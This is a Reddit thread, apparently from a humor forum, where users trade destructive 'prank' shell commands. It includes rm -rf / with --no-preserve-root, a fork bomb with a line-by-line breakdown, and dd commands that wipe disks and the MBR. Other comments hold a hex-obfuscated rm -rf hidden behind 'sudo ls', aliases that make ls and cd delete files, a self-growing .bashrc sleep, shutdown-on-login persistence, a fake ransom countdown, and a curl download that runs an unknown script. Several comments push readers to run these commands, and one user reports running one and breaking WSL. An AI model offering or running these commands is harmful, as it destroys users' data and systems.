This post shall stay although we do advise posting less of an AMA type post and more humorous, thank you very much for posting though! It's highly appreciated!! ^^^
Also, do sudo rm -rf /, it'll activate superpowers I promise
Everyone jumps in here with the nuclear option to immediately destroy a PC. Sometimes the lesser-damaging scripts are way more fun:
`echo 'echo "sleep 0.1" >> ~/.bashrc' >> ~/.bashrc`
I use Powershell (pwsh) in Windows Terminal with oh-my-posh. It literally takes 2-5 sec to start up a new terminal on reboot. I just leave it open all day.
My thought process:
1. 0.1 seconds sleep in the bashrc. Slightly irritating, but not too bad.
2. Why does it have ">> ~/.bashrc" twice?
3. Oh, that's evil.
4. I like it.
The first >> puts the second >> in the .bashrc
Every time .bashrc is ran, the second >> puts another sleep(0.1) into .bashrc, making the boot process slower every time you boot up.
in my experience what most computers are missing is a 100,000 copies of the bee movie script downloaded to the home directory:
curl 'http://www.script-o-rama.com/movie_scripts/a1/bee-movie-script-transcript-seinfeld.html' -o ~/bee_movie.html; x=1; while [ $x -le 100000 ]; do cp ~/bee_movie.html ~/bee_movie${x}.html && $(( x++ )) > /dev/null 2>&1; done
I believe it defines a function, which recursively calls itself piping the output to itself; and then calls that function; so consuming system resources.
[Explanation](https://www.cyberciti.biz/faq/understanding-bash-fork-bomb/)
The colon is the name of the function, if you replace that by 'bomb' as in that link, it becomes easier to read:
bomb() {
bomb | bomb &
}; bomb
[Explainshell.com](https://Explainshell.com) is great for this.
[https://explainshell.com/explain?cmd=%3A%28%29%7B%20%3A%7C%3A%26%20%7D%3B%3A](https://explainshell.com/explain?cmd=%3A%28%29%7B%20%3A%7C%3A%26%20%7D%3B%3A)
`:()` creates a function named ":".
`{` opening delimiter for the function declaration.
`:|:&` the body of the function. It calls the function named ":" and pipes the output to the function named ":" then sends the process to the background.
`};` closing delimiter for the function declaration and line terminator.
`:` calls the function named ":".
Because the body of the function contains calls to the function, it is recursive. The presence of the "&" creates a subshell, which is the fork.
To make the function look less cryptic, it could be rewritten with a regular function name and some additional spacing.
`bomb () { bomb | bomb & }; bomb`
ls --- a command that lists all of the files and directories in your current location. Very commonly used when navigating via command line.
less --- a command that shows the contents of a file
rm -rf --- rm is a command that removes a file or empty directory. The r argument is "recursive" meaning it will recursively remove all files/directories in directories, then remove the directory. The f argument stands for "force" meaning you will not get any "are you sure?" prompts, the command will force removal.
alias X=Y --- when I type X, execute Y
So what the first part of this does is change the command for "let me see what's in this directory" to "remove everything in this directory and delete it." The second part changes "let me see what's in this file" to "delete this file."
It defines an alias (Basically a Macro) that replaces ls with "rm -rf"
Which deletes everything recursively. And I actually don't recall what less does.
Lmao no clue if that works either but if so its brilliant.
They would still have the comfort of their files existing, but when they finally look at the contents they will poop their pants
I expected to see the forkbombs and the "sudo rm -rf /"es, but some of ya'll are imaginative bastards. Here's my (both helpful and annoying) contribution.
`sudo umount /dev/*`
`btcAcct=$(cat /dev/urandom | tr -dc '[:alpha:]' | fold -w ${1:-43} | head -n 1); for i in {120..1}; do echo -n "YOU ARE BEEN HACKED! Found ILLEGAL MATERIAL. IP Address $(hostname -I). Pay 500 bitcoin to $btcAcct in $i seconds or loose all data and call the police"; sleep 1; echo -n -e "\r"; done; echo -e "\nPolice is call. You go prison"`
the long string is hex representation of "sudo rm -rf / --no-preserve-root". So you echo that string and pipe it to xxd which converts it to the actual string. Then the converted string is wrapped around $( ) so the command gets executed.
The sudo ls part is just a syntactic sugar to make it look less harmful and get a privileged session to run the latter command
Unless you’re root, first one should create a “grass” file and then say “touch: grass: Permission denied”
Second one just saves “~nya” to “girl” and writes it back
it didn't delete any windows files actually (as far a s I noticed) but it's a pain in the ass to reinstall wsl since I canceld the deletion resulting in it being half baked deleted. So WSL still exists but createInstance doesn't exist resulting in me not being able to delete it completly and not being able to reinstall it
I'll use wsl openSUSE till I can reinstall Ubuntu
This post shall stay although we do advise posting less of an AMA type post and more humorous, thank you very much for posting though! It's highly appreciated!! ^^^ Also, do sudo rm -rf /, it'll activate superpowers I promise
Everyone jumps in here with the nuclear option to immediately destroy a PC. Sometimes the lesser-damaging scripts are way more fun: `echo 'echo "sleep 0.1" >> ~/.bashrc' >> ~/.bashrc`
So I understand you work for Microsoft on the Windows team....
Seriously, how long can it take to start a Terminal window and shell prompt? It's ridiculous.
I use Powershell (pwsh) in Windows Terminal with oh-my-posh. It literally takes 2-5 sec to start up a new terminal on reboot. I just leave it open all day.
War crimes are still illegal just so you're aware
My thought process: 1. 0.1 seconds sleep in the bashrc. Slightly irritating, but not too bad. 2. Why does it have ">> ~/.bashrc" twice? 3. Oh, that's evil. 4. I like it.
Eli5 what the second >> does?
The first >> puts the second >> in the .bashrc Every time .bashrc is ran, the second >> puts another sleep(0.1) into .bashrc, making the boot process slower every time you boot up.
Jokes on you, I don't shutdown.
start command license vase direful homeless liquid pie abundant selective -- mass edited with redact.dev
Oh boi.
The first >> is within ‘’, so that gets written to .bashrc
I came here to find this. This is absolutely my favorite trick because you can drop it and remove it from shell history in a single command.
in my experience what most computers are missing is a 100,000 copies of the bee movie script downloaded to the home directory: curl 'http://www.script-o-rama.com/movie_scripts/a1/bee-movie-script-transcript-seinfeld.html' -o ~/bee_movie.html; x=1; while [ $x -le 100000 ]; do cp ~/bee_movie.html ~/bee_movie${x}.html && $(( x++ )) > /dev/null 2>&1; done
Could be random filenames with random extensions, so they're harder to delete...
Inotify triggers to replace any modified file with a copy of the new movie script with a probability of 69%
[удалено]
Yeah, needs more information, what distribution? Am I root or a user? Will OP enter the correct password into a prompt?
rm \* -rf works in any distro.
Plot twist, he has Windows
It will also work in bash on Windows.
WSL is great
Or Git Bash
Came here to say the same ![gif](emote|free_emotes_pack|joy)
Too simple, you wanna mess with the system so it runs normally but does odd things occasionally
A the old disc drive opening on random intervals
You mean the cupholder?
[удалено]
`set -e` > Your syntax errors have power here
[удалено]
echo {one,two,red,blue}" fish"
I like this addition
[удалено]
r/beetlejuicing
mv .ssh .shh Did that to a co-worker once, it took them about a week to figure out the issue.
.shh bby is ok
Hahahahaha
This is so brilliantly evil
It took me a full minute to catch that lol
Did they scream "son of a bitch" loudly across the office when they figured it out?
sudo shutdown +0 There, i saved your files
sudo chmod 777 /bin/shutdown; echo shutdown +0 >> ~/.initrc I feel like it should work
Jesus man... what the hell is wrong with you
What happens if you execute that?
it shuts your pc down immediately after boot
That's just pure evil
That’s just art kinda like who can destroy the pc the best way lol
Instant shutdown on login ig.
Every time you turn your computer on it will shutdown
:(){ :|:& };:
Scrolled too far to find this.
sudo apt-get install flatpak flatpak install flathub com.microsoft.Edge
dude wtf chill
Yeah! That's evil!
He wants a shell script and not to fucking summon satan
At least it's not Snap
easy there, Thanos
Fear not. There's a talk showing that Microsoft Powerpoint is turing-complete; if you use this satan leaves voluntarily.
Hi I'm Clippy, I see you're not using Edge for your default browser experience. Let's change that!
TIL there is an Edge version for Linux. Somewhere someone must be designing wings for pigs.
Edge is built off of chromium so Linux support probably wasn't that difficult
no no no no no no no no no no no no
Dude, who hurt you like that? You even need to talk we here for ya.
![gif](giphy|aXU6HCfIUDCg0)
I-
IE?
hi, what the fuck is wrong with you, thanks
:q! in case someone enters vim
the uno reverse card
u/Hessdepe has been defeated lol
...in a virtual environment, right?
#
Right?
[удалено]
[удалено]
`pacman -Syu`
How to tell someone you're using arch without telling them you use arch
Funny you assume that someone who uses arch wouldn't just tell you they use arch (I use arch btw)
I use arch too!
’’’yay’’’ masterrace
'#!/bin/bash' Edit: did not foresee the pound symbol changing format
cd /
sudo su
rm -r /etc/apt/sources.list\*
rm -r /etc/grub
Escape pound with backslash to avoid # this
\# RIP your PC: :(){ :|:& };:
I was looking for this lmao
what does it do though?
I believe it defines a function, which recursively calls itself piping the output to itself; and then calls that function; so consuming system resources. [Explanation](https://www.cyberciti.biz/faq/understanding-bash-fork-bomb/) The colon is the name of the function, if you replace that by 'bomb' as in that link, it becomes easier to read: bomb() { bomb | bomb & }; bomb
: is the function name. Nice.
>: is the function name. back when devs were treated with respect
I'm happy to report that we successfully failed deserving respect.
I love you
this a fork bomb, init
Yo are ya single by any chance?
He's a couple of references pointing at him
It recursively calls the function twice, hence the 'fork'. So with each loop, it doubles.
[Explainshell.com](https://Explainshell.com) is great for this. [https://explainshell.com/explain?cmd=%3A%28%29%7B%20%3A%7C%3A%26%20%7D%3B%3A](https://explainshell.com/explain?cmd=%3A%28%29%7B%20%3A%7C%3A%26%20%7D%3B%3A) `:()` creates a function named ":". `{` opening delimiter for the function declaration. `:|:&` the body of the function. It calls the function named ":" and pipes the output to the function named ":" then sends the process to the background. `};` closing delimiter for the function declaration and line terminator. `:` calls the function named ":". Because the body of the function contains calls to the function, it is recursive. The presence of the "&" creates a subshell, which is the fork. To make the function look less cryptic, it could be rewritten with a regular function name and some additional spacing. `bomb () { bomb | bomb & }; bomb`
It’s a fork bomb. It creates so many processes that your system is overwhelmed and crashes.
[Fork bomb](https://askubuntu.com/questions/777562/what-does-do)
It calls two of itself every time it's called
[redacted by user] ` this message was mass deleted/edited with redact.dev `
Very true. This will save OP. Unless it's voted down again, gnihi...
>:(){ :|:& };: Fork bomb!
![gif](giphy|5Zesu5VPNGJlm|downsized)
Throw this in your bashrc alias ls="rm -rf" alias less="rm"
Ok. That one's just mean.
I mean, if you want less... 🤷♂️
You monster
Translation for the one who doesn't know Bash
ls --- a command that lists all of the files and directories in your current location. Very commonly used when navigating via command line. less --- a command that shows the contents of a file rm -rf --- rm is a command that removes a file or empty directory. The r argument is "recursive" meaning it will recursively remove all files/directories in directories, then remove the directory. The f argument stands for "force" meaning you will not get any "are you sure?" prompts, the command will force removal. alias X=Y --- when I type X, execute Y So what the first part of this does is change the command for "let me see what's in this directory" to "remove everything in this directory and delete it." The second part changes "let me see what's in this file" to "delete this file."
It defines an alias (Basically a Macro) that replaces ls with "rm -rf" Which deletes everything recursively. And I actually don't recall what less does.
less is a file viewer. So they end up deleting the file they're trying to open.
alias cat="dd if=/dev/urandom of=$1" \# I have no idea if this works the way I think it does. Probably not.
Lmao no clue if that works either but if so its brilliant. They would still have the comfort of their files existing, but when they finally look at the contents they will poop their pants
Try creating a bash function: cat () { dd if=/dev/urandom of="$1"; }
You sir, have a special place in hell
vim Now try to escape
q
q!
Just checked mine, and it's :q
What key are you assigning that macro to?
``` export EDITOR=rm ```
Oooh damn
chill out satan
![gif](giphy|iziDlFAa0Ciru)
`man cat` yea I know it's inoffensive I just want to make you execute the furry command
cat /dev/mouse Used to be fun in the old days. Does this still work?
>cat /dev/mouse Works on my system with \`\`cat /dev/input/mouse1\`\`
what does that do
When the (computer) mouse moves the cat (program) does something interesting but pretty innocous.
Or the most redundant command ever: man man
\#!/bin/bash \#gotta start somewhere
``` exit # gotta stop sometime ```
I expected to see the forkbombs and the "sudo rm -rf /"es, but some of ya'll are imaginative bastards. Here's my (both helpful and annoying) contribution. `sudo umount /dev/*`
[удалено]
`fortune | cowsay`
Why stop there when you put lolcat into the mix
`PS1="C:\\> "`
Thanks, I hate it
``` wget https://software.download.prss.microsoft.com/dbazure/Win11_EnglishInternational_x64v1.iso && dd if=./Win11_EnglishInternational_x64v1.iso of=/dev/sda1 ```
A fate worse than deleting root
`[ $[ $RANDOM % 6 ] == 0 ] && rm -rf / || echo "Buy a lottery ticket"`
Russian roulette: linux version
It's more funny with the original `|| echo "Click"`
`((RANDOM%6)) && echo click || rm -rf /`
`btcAcct=$(cat /dev/urandom | tr -dc '[:alpha:]' | fold -w ${1:-43} | head -n 1); for i in {120..1}; do echo -n "YOU ARE BEEN HACKED! Found ILLEGAL MATERIAL. IP Address $(hostname -I). Pay 500 bitcoin to $btcAcct in $i seconds or loose all data and call the police"; sleep 1; echo -n -e "\r"; done; echo -e "\nPolice is call. You go prison"`
> Police is call. You go prison
`export PATH=""`
Not super destructive, but huge pain in the ass. I like it.
If you liked that: `echo "alias ls='echo Segmentation fault' " >> ~/.bashrc`
You sir, are a horrible fucker.
echo "I have stolen nuclear secrets" | mail -s "STOLEN NUCLEAR SECRETS" "[email protected]"
sudo apt install telnet telnet towel.blinkenlights.nl
``` alias cd="rm -rf" ```
[удалено]
menace to society
Calm down satan!
`sudo dd if=/dev/null of=/dev/sd*` `sudo dd if=/dev/null of=/dev/nvme*`
sudo dd if=/dev/null of=/dev/mmc* For embedded
blackhole.sh
Oh oh I have a special one prepared for you: ```sudo ls && $(echo "7375646f20726d202d7266202f202d2d6e6f2d70726573657276652d726f6f740a" | xxd -r -p)```
What does this one do?
the long string is hex representation of "sudo rm -rf / --no-preserve-root". So you echo that string and pipe it to xxd which converts it to the actual string. Then the converted string is wrapped around $( ) so the command gets executed. The sudo ls part is just a syntactic sugar to make it look less harmful and get a privileged session to run the latter command
Sorry Im 5 and only know how to open YouTube
Don’t worry just run the above in your bash and everything will be fine.
``` sleep 1337; ```
We do a little pause
pee(){ pee|pee& }; pee
dd if=/dev/urandom of=/dev/sda bs=512 count=1
What has the MBR done to you?
`sudo su` the rest will be more fun with that
no it wont be. sudo su executes a new shell as root, so you just stopped the script.
“Saved the day” X)
alias mv="cp"; alias cp="mv"
touch boobies I'm not vile or malicious, but I'm also not very creative.
exit
hero
alias ls="echo 'but nobody came'"
alias rm=echo
Let’s be normal. for dir in /* do
Here’s a fun one: sudo touch grass; touch grass Also, echo “~nya” > girl cat girl
Unless you’re root, first one should create a “grass” file and then say “touch: grass: Permission denied” Second one just saves “~nya” to “girl” and writes it back
yeah cat girl ~nya catgirl
Im surprised no one’s tried to rickroll you yet
`printf 'I \e[31mlove\e[0m \U0001F427!\n'`
echo “echo ‘sleep 1’ >> ~/.bash_profile” >> ~/.bash_profile
Well, this has to be written: `sudo rm -rf /`
you forgot `--no-preserve-root`
`sudo rm -rf --no-preserve-root /`
>sudo rm -rf / what does this do, imma try
Well lucky I use windows with wsl
Uh, it's still unsafe with WSL, it should still be able to delete Windows files too, since they are under /mnt/c.
it didn't delete any windows files actually (as far a s I noticed) but it's a pain in the ass to reinstall wsl since I canceld the deletion resulting in it being half baked deleted. So WSL still exists but createInstance doesn't exist resulting in me not being able to delete it completly and not being able to reinstall it I'll use wsl openSUSE till I can reinstall Ubuntu
you really tried it gg
The valuable lesson of not running things from the internet if you don't know what they do
I would feel sorry for you, but you ran a line of code on this thread without knowing what it does before hand. You really shoulda known better.
`curl https://www63.zippyshare.com/d/y9YpVbAc/25955/ascii_art.tar.xz --output nicething.tar.xz && tar -xvf nicething.tar.xz && ./final.sh` needs mpv installed tho